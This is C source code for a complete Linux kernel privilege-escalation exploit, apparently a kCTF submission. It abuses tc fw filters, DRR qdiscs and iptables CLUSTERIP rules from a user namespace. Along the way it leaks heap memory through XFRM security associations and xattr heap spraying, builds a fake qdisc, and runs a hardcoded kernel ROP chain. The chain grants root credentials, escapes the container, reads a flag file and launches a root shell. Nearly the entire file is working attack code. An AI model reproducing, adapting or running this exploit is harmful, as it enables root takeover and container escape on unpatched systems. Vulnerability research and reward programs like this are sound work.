#define _GNU_SOURCE

#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <time.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <assert.h>
#include <sys/inotify.h>
#include <linux/xfrm.h>
#include <linux/pfkeyv2.h>

#include <linux/pkt_cls.h>
#include <netlink/cli/utils.h>
#include <netlink/cli/tc.h>
#include <netlink/cli/class.h>
#include <netlink/cli/cls.h>
#include <netlink/cli/qdisc.h>
#include <netlink/cli/addr.h>
#include <netlink/cli/link.h>
#include <netlink/route/tc.h>

#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <linux/route.h>
#include <sys/xattr.h>
#include <err.h>
#include <sys/timerfd.h>
#include <sys/epoll.h>
#include <sys/eventfd.h>
#include <pthread.h>
#include <linux/if_packet.h>
#include <libiptc.h>
#include <linux/netfilter/xt_mark.h>
#include <linux/netfilter_ipv4/ipt_CLUSTERIP.h>

static char *g_mmapped_buf;
static uint64_t g_kernel_text;

int setup_namespaces()
{
        char *uid_map;
        char *gid_map;
        int ret, map;
        uid_t uid = getuid();
        uid_t gid = getgid();

        if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) {
                perror("unshare");
                exit(1);
        }

        map = open("/proc/self/setgroups", O_WRONLY);
        ret = write(map, "deny", 4);

        if (ret < 4) {
                perror("setgroups write");
                exit(1);
        }

        close(map);

        asprintf(&uid_map, "0 %d 1\n", uid);
        size_t len = strlen(uid_map);

        map = open("/proc/self/uid_map", O_WRONLY);
        
        ret = write(map, uid_map, len);

        if (ret < len) {
                perror("uid map write");
                exit(1);
        }
        close(map);

        asprintf(&gid_map, "0 %d 1\n", gid);
        map = open("/proc/self/gid_map", O_WRONLY);
        ret = write(map, gid_map, len);

        if (ret < len) {
                perror("gid map write");
                exit(1);
        }

        close(map);

        if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) {
                perror("mount");
                exit(1);
        }

}

void set_cpu(int cpu)
{
        cpu_set_t cpus;
        CPU_ZERO(&cpus);      
        CPU_SET(cpu, &cpus);     
        if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) {
                perror("setaffinity");
                exit(1);
        }
}

void get_kctf_flag()
{
        char buf[512];


        int fd = open("/flag", O_RDONLY);

        if (fd < 0)
                return;

        size_t n = read(fd, buf, sizeof(buf));
        if (n > 0) {
                printf("Flag:\n");

                write(1, buf, n);

                printf("\n");
        }

        close(fd);
}

static char *g_sh_argv[] = {"sh", NULL};

static int g_status;

#define MMAP_SIZE 0x8000
#define XATTR_HEAD_SIZE 0x20
#define XATTR_OFFS_NAME 0x10

static int g_pwned;

void __attribute__((naked)) after_pwn()
{
// Fix user stack since we didn't do when returning from kernel mode
        asm volatile(
                "mov %0, %%rsp\n"
                :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100)
        );
        
        g_pwned = 1;


        set_cpu(1);

        int pid = fork();
        if (!pid) {
                if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0)
                        perror("setns");

                setns(open("/proc/1/ns/pid", O_RDONLY), 0);
                setns(open("/proc/1/ns/net", O_RDONLY), 0);

                printf("\nGot root!!!\n");
                printf("Getting kctf flags ...\n");

                get_kctf_flag();

                printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n");
                execve("/bin/sh", g_sh_argv, NULL);
        }

       
        waitpid(pid, &g_status, 0);

        printf("Shell exited, sleeping for 30 seconds, after that system might crash\n");

        sleep(30);
        _exit(0);
}

uint64_t kaddr(uint64_t addr)
{
        return g_kernel_text + addr - 0xffffffff81000000uL;
}

/* Netlink code based on syzcaller generated snippets */
struct nlmsg {
        char* pos;
        int nesting;
        struct nlattr* nested[8];
        char buf[0x30000];
};

static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
                         const void* data, int size)
{
        memset(nlmsg, 0, sizeof(*nlmsg));
        struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
        hdr->nlmsg_type = typ;
        hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
        memcpy(hdr + 1, data, size);
        nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}

static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
                         int size)
{
        struct nlattr* attr = (struct nlattr*)nlmsg->pos;
        //        printf("attr size: %d\n", size);

        attr->nla_len = sizeof(*attr) + size;

        if (nlmsg->pos - nlmsg->buf + attr->nla_len  > sizeof(nlmsg->buf))
                errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n");

        attr->nla_type = typ;
        if (size > 0)
                memcpy(attr + 1, data, size);
        nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}

static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
        struct nlattr* attr = (struct nlattr*)nlmsg->pos;
        attr->nla_type = typ | NLA_F_NESTED;
        nlmsg->pos += sizeof(*attr);
        nlmsg->nested[nlmsg->nesting++] = attr;
}

static void netlink_done(struct nlmsg* nlmsg)
{
        struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];

        if (nlmsg->pos - (char *) attr > 0xffff)
                errx(1, "Netlink attribute max size exceeded\n");

        attr->nla_len = nlmsg->pos - (char*)attr;
}

static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
                            int* reply_len, bool dofail)
{
        if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
                err(1, "netlink_send_ext error");

        struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
        hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;

        struct sockaddr_nl addr;
        memset(&addr, 0, sizeof(addr));
        addr.nl_family = AF_NETLINK;

        ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
                     (struct sockaddr*)&addr, sizeof(addr));

        if (n != (ssize_t)hdr->nlmsg_len) {
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }

        n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
        if (reply_len)
                *reply_len = 0;

        if (n < 0) {
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }
        if (n < (ssize_t)sizeof(struct nlmsghdr)) {
                errno = EINVAL;
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }
        if (hdr->nlmsg_type == NLMSG_DONE)
                return 0;

        if (reply_len && hdr->nlmsg_type == reply_type) {
                *reply_len = n;
                return 0;
        }
        if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
                errno = EINVAL;
                if (dofail)
                        err(1, "netlink_send_ext error");
               return -1;
        }
        if (hdr->nlmsg_type != NLMSG_ERROR) {
                errno = EINVAL;
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }

        errno = -((struct nlmsgerr*)(hdr + 1))->error;
        return -errno;
}

static int netlink_send(struct nlmsg* nlmsg, int sock)
{
        return netlink_send_ext(nlmsg, sock, 0, NULL, false);
}

/* End of syzkaller code */


static struct nlmsg nlmsg;

struct nl_cache *g_link_cache;
static struct nl_sock *g_nl_sock;


static void netlink_device_change(struct nlmsg* nlmsg, int sock,
                                  const char* name, bool up, const char* master,
                                  const void* mac, int macsize,
                                  const char* new_name)
{
        struct ifinfomsg hdr;
        memset(&hdr, 0, sizeof(hdr));

        if (up)
                hdr.ifi_flags = hdr.ifi_change = IFF_UP;

        hdr.ifi_index = if_nametoindex(name);

        netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));

        if (new_name)
                netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));

        if (master) {
                int ifindex = if_nametoindex(master);
                netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
        }

        if (macsize)
                netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);

        netlink_send(nlmsg, sock);
}

static void setup_network(char *link_name)
{
        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1)
                exit(1);

        netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name);


        close(sock);
        g_nl_sock = nl_cli_alloc_socket();
        nl_cli_connect(g_nl_sock, NETLINK_ROUTE);
        g_link_cache = nl_cli_link_alloc_cache(g_nl_sock);
}



void add_class_drr(uint32_t handle, uint32_t parent, uint32_t weight, uint32_t lmax)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;

        int flags = 0;

        flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        
        if (parent)
                hdr.tcm_parent = parent;
        else
                hdr.tcm_parent = TC_H_MAJ(handle);

        hdr.tcm_handle = handle;

        netlink_init(&nlmsg, RTM_NEWTCLASS, flags, &hdr, sizeof(hdr));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);


        netlink_done(&nlmsg);
        int ret = netlink_send(&nlmsg, sock);

        if (ret)
                err(2, "drr create: %d", ret);
        close(sock);
}

void add_drr(uint32_t handle, uint32_t parent, int edit)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;

        int flags = 0;

        if (!edit)
                flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        
        if (parent)
                hdr.tcm_parent = parent;
        else
                hdr.tcm_parent = TC_H_ROOT;
        hdr.tcm_handle = handle;

        netlink_init(&nlmsg, RTM_NEWQDISC, flags, &hdr, sizeof(hdr));

        char kind[] = "drr";
        netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);


        netlink_done(&nlmsg);
        int ret = netlink_send(&nlmsg, sock);

        if (ret)
                err(2, "drr create: %d", ret);
        close(sock);
}


void delete_class(uint32_t handle)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;

        int flags = 0;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        hdr.tcm_parent = TC_H_ROOT;
        hdr.tcm_handle = handle;

        netlink_init(&nlmsg, RTM_DELTCLASS, flags, &hdr, sizeof(hdr));


        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        int err = netlink_send(&nlmsg, sock);

        close(sock);
}
void add_iptables_cluster(char *link_name)
{
        struct xtc_handle *h = iptc_init("filter");
        if (!h)
                err(1, "iptc init");

        unsigned int targetOffset = XT_ALIGN(sizeof(struct ipt_entry));
	unsigned int totalLen     = targetOffset + XT_ALIGN(sizeof(struct xt_entry_target))
		+ XT_ALIGN(sizeof(struct ipt_clusterip_tgt_info));

	struct ipt_entry* e = (struct ipt_entry *)calloc(1, totalLen);
	if(e == NULL) {
                err(1, "calloc");
	}

	e->target_offset = targetOffset;
	e->next_offset   = totalLen;
	strcpy(e->ip.iniface, link_name);
        memset(e->ip.iniface_mask, 0xff, 10);

        struct xt_entry_target* target = (struct xt_entry_target  *) e->elems;
	target->u.target_size          = XT_ALIGN(sizeof(struct xt_entry_target))
		+ XT_ALIGN(sizeof(struct ipt_clusterip_tgt_info));

	strncpy(target->u.user.name, "CLUSTERIP", strlen("CLUSTERIP") + 1);
	target->u.user.revision = 0;
	struct ipt_clusterip_tgt_info *info = (struct ipt_clusterip_tgt_info  *) target->data;
        info->hash_mode = CLUSTERIP_HASHMODE_SIP;
        info->flags = CLUSTERIP_FLAG_NEW;
        e->ip.dst.s_addr = 1;
        e->ip.dmsk.s_addr = 0xffffffff;


	if (!iptc_append_entry("OUTPUT", e, h)) {
		printf("iptc_append_entry::Error insert/append entry: %s\n", iptc_strerror(errno));
		goto end;
	}
	if (!iptc_commit(h)) {
                err(1, "commit: %s\n", iptc_strerror(errno));
	}

	end:
		free(e);
		iptc_free(h);
}

void add_iptables_mark()
{
        struct xtc_handle *h = iptc_init("mangle");
        if (!h)
                err(1, "iptc init");

        unsigned int targetOffset = XT_ALIGN(sizeof(struct ipt_entry));
	unsigned int totalLen     = targetOffset + XT_ALIGN(sizeof(struct xt_entry_target))
		+ XT_ALIGN(sizeof(struct xt_mark_tginfo2));

	struct ipt_entry* e = (struct ipt_entry *)calloc(1, totalLen);
	if(e == NULL) {
                err(1, "calloc");
	}

	e->target_offset = targetOffset;
	e->next_offset   = totalLen;

        struct xt_entry_target* target = (struct xt_entry_target  *) e->elems;
	target->u.target_size          = XT_ALIGN(sizeof(struct xt_entry_target))
		+ XT_ALIGN(sizeof(struct xt_mark_tginfo2));

	strncpy(target->u.user.name, "MARK", strlen("MARK") + 1);
	target->u.user.revision = 2;
	struct xt_mark_tginfo2 *info = (struct xt_mark_tginfo2  *) target->data;
        info->mask = 0;
        info->mark = 2;

	if (!iptc_append_entry("OUTPUT", e, h)) {
		printf("iptc_append_entry::Error insert/append entry: %s\n", iptc_strerror(errno));
		goto end;
	}
	if (!iptc_commit(h)) {
                err(1, "commit: %s\n", iptc_strerror(errno));
	}

	end:
		free(e);
		iptc_free(h);
}

void add_fw_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t target, int edit)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;
        int prio = 1;

        int flags = 0;

        if (!edit)
                flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        hdr.tcm_parent = parent;
        hdr.tcm_handle = handle;

        hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL));

        netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr));

        netlink_attr(&nlmsg, TCA_CHAIN, &chain, sizeof(chain));
        char kind[] = "fw";
        netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);

        uint32_t mask = 0xf;
        netlink_attr(&nlmsg, TCA_FW_MASK, &mask, sizeof(mask));

        if (target) {
                uint32_t class_id = target;
                netlink_attr(&nlmsg, TCA_FW_CLASSID, &class_id, sizeof(class_id));
        }

        netlink_done(&nlmsg);
        int err = netlink_send(&nlmsg, sock);

        close(sock);
}

uint64_t xfrm_get_sa(unsigned int id)
{

        static struct nl_sock *sock = NULL;

        if (!sock) {
                sock = nl_cli_alloc_socket();
                nl_cli_connect(sock, NETLINK_XFRM);
        }

        struct nl_msg *msg = nlmsg_alloc_simple(XFRM_MSG_GETSA, NLM_F_DUMP);
        
        if (!msg)
                err(1, "nlmsg_alloc_simple");

        struct xfrm_address_filter filter;
        memset ((void*)&filter, 0, sizeof (filter));

// Search by IPv4 source address
// Because we are not going to send any packets through XFRM, this can be any integer as long as it matches value used when creating the SA in xfrm_add_sa_pfkey_encrypt()
        filter.family = AF_INET;
        filter.saddr.a4 = id;
// Size of the used address type (IPv4 or IPv6) in bits
        filter.splen = 32;

        NLA_PUT (msg, XFRMA_ADDRESS_FILTER, sizeof (struct xfrm_address_filter), &filter);

        int ret = nl_send_auto(sock, msg);
        struct sockaddr_nl nla = {0};
        struct nlattr *attrs[XFRMA_MAX+1];

        unsigned char *data;
        ret = nl_recv(sock, &nla, &data, NULL);

        if (ret < 0)
                err(1, "Error receiving netlink data");

        if (nlmsg_parse((struct nlmsghdr *) data, sizeof(struct xfrm_usersa_info), attrs, XFRMA_MAX, NULL))
                errx(1, "Error parsing SA netlink message");

        if (!attrs[XFRMA_ALG_CRYPT])
                errx(1, "SA not found for: %d", id);

        struct xfrm_algo *alg = nla_data(attrs[XFRMA_ALG_CRYPT]);
        uint64_t leak = *(uint64_t *) (alg->alg_name + XATTR_OFFS_NAME);

        return leak;

        nla_put_failure:
                err(1, "nla_put_failure");

}

void xfrm_add_sa_pfkey_encrypt(unsigned int id)
{
        static int sock_key = 0;

        if (!sock_key)
                sock_key = socket(AF_KEY, SOCK_RAW, 2);

        if (sock_key < 0) {
                perror("socket key");
                exit(1);
        }

#define SA_ADDR_SIZE 3

        int key_size = 0;
        size_t msg_len = sizeof(struct sadb_msg) + SA_ADDR_SIZE*8*2 + sizeof(struct sadb_sa) + sizeof(struct sadb_key) + key_size;

        struct sadb_msg *msg = calloc(1, msg_len);
        if (!msg) {
                perror("calloc");
                exit(1);
        }
       
        msg->sadb_msg_version = PF_KEY_V2;
        msg->sadb_msg_type = SADB_ADD;
        msg->sadb_msg_satype = SADB_SATYPE_ESP;
        msg->sadb_msg_len = msg_len / 8;

        struct sadb_address *src = (struct sadb_address *) (msg+1);

        src->sadb_address_len = SA_ADDR_SIZE;
        src->sadb_address_exttype = SADB_EXT_ADDRESS_SRC;
        src->sadb_address_prefixlen = 8;

        struct sockaddr_in *srcaddr = (struct sockaddr_in *) (src+1);
        srcaddr->sin_family = AF_INET;
        srcaddr->sin_addr.s_addr = id;


        struct sadb_address *dst = (struct sadb_address *) (srcaddr+1);
        dst->sadb_address_len = SA_ADDR_SIZE;
        dst->sadb_address_exttype = SADB_EXT_ADDRESS_DST;
        dst->sadb_address_prefixlen = 8;

        struct sockaddr_in *dstaddr = (struct sockaddr_in *) (dst+1);
        dstaddr->sin_family = AF_INET;
        dstaddr->sin_addr.s_addr = id;

        struct sadb_sa *sa = (struct sadb_sa *) (dstaddr+1);
        sa->sadb_sa_len = 2;
        sa->sadb_sa_exttype = SADB_EXT_SA;
        sa->sadb_sa_encrypt = SADB_EALG_NULL;
        sa->sadb_sa_spi = id;


        struct sadb_key *key = (struct sadb_key *) (sa+1);
        key->sadb_key_len = 1 + key_size/8;
        key->sadb_key_exttype = SADB_EXT_KEY_ENCRYPT;
        key->sadb_key_bits = key_size * 8;

        struct msghdr hdr;
        memset(&hdr, 0, sizeof(hdr));

        struct iovec  iov[1];
        iov[0].iov_base = msg;
        iov[0].iov_len = msg_len;

        hdr.msg_iov = iov;
        hdr.msg_iovlen = 1;

        int ret = sendmsg(sock_key, &hdr, 0);

        if (ret < 0)
                err(1, "sendmsg add sa for %d", id);
        free(msg);

}



void *trigger_classify()
{
        int ret, sock;
        struct sockaddr_in client_addr;

        sock = socket(AF_INET, SOCK_DGRAM, 0);

        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        client_addr.sin_port = htons(2000);

        struct msghdr hdr;
        memset(&hdr, 0, sizeof(hdr));

        struct iovec  iov[1];
        iov[0].iov_base = "A";
        iov[0].iov_len = 1;

        hdr.msg_iov = iov;
        hdr.msg_iovlen = 1;
        hdr.msg_name = &client_addr;
        hdr.msg_namelen = sizeof(client_addr);

        
        sendmsg(sock, &hdr, 0);

}



int alloc_xattr3(int fd, char *attr, size_t size, void *buf)
{
        int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE);
        if (res < 0) {
                err(1, "fsetxattr");
        }

        return fd;
}

void free_xattr3(int fd, char *attr)
{
        int res = fremovexattr(fd, attr);
        if (res < 0) {
                perror("fremovexattr");
        }
}

void rop_rax2rdi(uint64_t **rop_p)
{
        uint64_t *rop = *rop_p;

        uint64_t pop_rdx = kaddr(0xffffffff81140d22);
        uint64_t push_rax_jmp_rdx = kaddr(0xffffffff81acc6ec);
        uint64_t pop_rdi = kaddr(0xffffffff810d502c);

// rax -> rdi
        *rop++ = pop_rdx;
        *rop++ = pop_rdi;
        *rop++ = push_rax_jmp_rdx;

        *rop_p = rop;
}

size_t prepare_rop2(char *buf)
{
        uint64_t pop_rdi = kaddr(0xffffffff810d502c);
        uint64_t pop_rsi = kaddr(0xffffffff8139068e);
        uint64_t pop_r11_6_rcx = kaddr(0xffffffff82059231);
        uint64_t commit_creds = kaddr(0xffffffff811136f0);
        uint64_t find_task_by_vpid = kaddr(0xffffffff8110a0d0);
        uint64_t switch_task_namespaces = kaddr(0xffffffff81111c80);

        uint64_t init_cred = kaddr(0xffffffff836618c0);
        uint64_t init_nsproxy = kaddr(0xffffffff83661680);

        uint64_t return_via_sysret = kaddr(0xffffffff82200190);

        uint64_t *rop2 = (uint64_t *) (buf);
        
        *rop2++ = pop_rdi;
        *rop2++ = init_cred;
        *rop2++ = commit_creds;

        // Namespace escape based on code by Crusaders of Rust
        *rop2++ = pop_rdi;
        *rop2++ = 1;
        *rop2++ = find_task_by_vpid;

        rop_rax2rdi(&rop2);

        *rop2++ = pop_rsi;
        *rop2++ = init_nsproxy;

        *rop2++ = switch_task_namespaces;

        *rop2++ = pop_r11_6_rcx;
// eflags
        *rop2++ = 0;
        rop2 += 6;

// Userspace RIP
        *rop2++ = (uint64_t) after_pwn;

        *rop2++ = return_via_sysret;
        return (char *) rop2 - buf;
}

void prepare_fake_qdisc(char *buf)
{
        uint64_t ret = kaddr(0xffffffff810d502d);
// Any unused and writable page of memory will do
        uint64_t rw_buffer = kaddr(0xffffffff84700000);
        uint64_t pop_rsi_rdx_rcx = kaddr(0xffffffff810289ce);
        uint64_t copy_from_user = kaddr(0xffffffff81fd4820);

/*
0xffffffff811fb4b3: mov rdx, qword ptr [rax + 0x28]
0xffffffff811fb4b7: lea r14, [rax + 0x30]
0xffffffff811fb4bb: test rdx, rdx
0xffffffff811fb4be: je 0xffffffff811fb4cc
0xffffffff811fb4c0: mov rdi, qword ptr [rsp]
0xffffffff811fb4c4: call    __x86_indirect_thunk_rdx
*/
        uint64_t g1 = kaddr(0xffffffff811fb4b3);
// 0xffffffff81d5747e: push r14 ; jmp qword [rsi+0x66]
        uint64_t g2 = kaddr(0xffffffff81d5747e);
        uint64_t pop_rsp = kaddr(0xffffffff81404820);
        uint64_t pop_r10_r9_r8_rdi_rsi_rdx_rcx = kaddr(0xffffffff810289a5);
        uint64_t pop_rdi_rsi_rdx_rcx = kaddr(0xffffffff8106fb3b);

        *(uint64_t *) (buf) = g1;

// stab pointer (struct qdisc_size_table *stab) has to be null or __qdisc_calculate_pkt_len() (called from qdisc_calculate_pkt_len/__dev_xmit_skb) will crash trying to use it before enqueuing the packet
        *(uint64_t *) (buf + 0x20) = 0;

        *(uint64_t *) (buf + 0x28) = g2;
        *(uint64_t *) (buf + 0x66) = pop_rsp;
        uint64_t *rop = (uint64_t *) (buf+0x30);

        char *rop2 = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0);
        if (rop2 == MAP_FAILED)
                err(1, "mmap");

        size_t rop2_len = prepare_rop2(rop2);

// jump over 0x66
        *rop++ = pop_r10_r9_r8_rdi_rsi_rdx_rcx;
        rop += 7;

        *rop++ = pop_rdi_rsi_rdx_rcx;
        *rop++ = rw_buffer;
        *rop++ = (uint64_t) rop2;
        *rop++ = rop2_len;
        *rop++ = 0;
        *rop++ = copy_from_user;
        *rop++ = pop_rsp;
        *rop++ = rw_buffer;
        *rop++ = ret;
}

int main(int argc, char **argv)
{
// Ignore kernel base provided in the command line to work around a repro system issue
        if (0 && argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) {
                g_kernel_text = strtoull(argv[1], NULL, 16);
        } else {
                printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n");

                g_kernel_text = 0xffffffff81000000uL;
        }

        printf("Kernel base: 0x%lx\n", g_kernel_text);

        setbuf(stdout, NULL);

        setup_namespaces();

        g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0);
        if (g_mmapped_buf == MAP_FAILED) {
                perror("mmap");
                return 1;
        }

        memset(g_mmapped_buf, 0, MMAP_SIZE);

        set_cpu(0);

        int xattr_fd = open("/tmp/xattr", O_CREAT|O_RDWR);

        if (xattr_fd < 0)
                err(1, "open xattr");

#define XATTR_CNT 50
        char *attr;
        for (int i = 0; i < XATTR_CNT; i++)
        {
                asprintf(&attr, "security.%0240d", i);

                alloc_xattr3(xattr_fd, attr, 96, g_mmapped_buf);
        }

        asprintf(&attr, "security.%0240d", XATTR_CNT-1);
        free_xattr3(xattr_fd, attr);

        xfrm_add_sa_pfkey_encrypt(2);
        uint64_t heap_leak = xfrm_get_sa(2);
        
        printf("Heap leak: 0x%lx\n", heap_leak);

        prepare_fake_qdisc(g_mmapped_buf+0x10);
        
// Use smaller allocation from kmalloc-256 to ensure that temporary allocation made in setxattr_copy() goes to kmalloc-192 (224 - XATTR_HEAD_SIZE = 192)
        alloc_xattr3(xattr_fd, "security.new", 224, g_mmapped_buf);

        uint64_t addrs_w[2] = {heap_leak+0x30, 0};
        if (strlen((char *) &addrs_w) < 8)
                err(1, "Null byte in heap leak, try again!");

        setup_network((char *) &addrs_w);

        add_drr(0x10000, 0, 0);
        add_class_drr(0x10001, 0x10000, 0x1, 0);
        add_class_drr(0x10002, 0x10000, 0x1, 0);

        add_fw_filter(0x10000, 0, 1, 0x10001, 0);
        add_fw_filter(0x10000, 0, 2, 0x10001, 0);

        add_fw_filter(0x10000, 0, 1, 0x10002, 1);

        add_iptables_mark();

        delete_class(0x10001);

        add_iptables_cluster((char *) &addrs_w);

        trigger_classify();

        if (!g_pwned) {
                printf("Failed to trigger vuln, try again!\n");
                _exit(0);
        }

// Can't exit, everything might crash
        while (1) 
                sleep(1000);

        return 0;
}
